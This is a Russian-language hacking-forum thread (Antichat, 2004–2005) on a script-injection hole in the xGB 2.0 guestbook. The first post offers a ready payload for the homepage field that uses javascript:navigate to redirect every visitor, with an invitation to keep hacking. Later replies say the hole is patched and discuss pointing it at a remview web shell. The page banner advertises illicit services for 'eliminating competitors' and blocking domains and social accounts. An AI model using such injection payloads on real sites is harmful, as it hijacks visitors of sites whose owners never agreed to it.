Уязвимость гостевой книги xgb 2.0

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Уязвимость гостевой книги xgb 2.0

Опции темы

Поиск в этой теме

Опции просмотра

18.05.2004, 10:44

Егорыч+++

Познавший АНТИЧАТ

Регистрация: 27.05.2002

Сообщений: 1,241

Провел на форуме:
20377164

Репутация: 0

xGB 2.0 - гостевая книга. Все в ней хорошо, но скрипты пропускает. В homepage вставляем следующее

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">'<a style=background-image:url(javascript:navigate('http://antichat.ru'));></a>[/QUOTE]<span id='postcolor'>

И получаем редирект на сайт АНТИЧАТ.

http://www.x-dev.de/

Ломаем дальше...

03.09.2004, 18:52

m0nzt3r

ветеран

Регистрация: 22.06.2004

Сообщений: 2,128

Провел на форуме:
5355463

Репутация: 2258

мда уже не пропускают скрипт  

__________________

Elite VPN from Green. Quality. Click and buy!!!

Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze

10.03.2005, 02:37

.::CC::.

Новичок

Регистрация: 09.03.2005

Сообщений: 1

Провел на форуме:
0

Репутация: 0

Привет! Я тут новенький...и у меня есть пара вопросов по взлому гостевой:
1. А что нужно вставлять вместо " Исходный код" ?
2. Могу я допустим вместо строчки Antichat.ru, прописать путь где у меня лежит remview.php?
Заранее пасиба!

10.03.2005, 22:52

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

1. Нужно вставлять исходный код. Как ещё сказать?
2. Можешь. Только смысл - ты попадешь на сайт на котором лежит ремвью.
Ты не думаешь что он загрузиться на сайт жерты? ))
3. Рас новенький то лутше в Pm писать

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход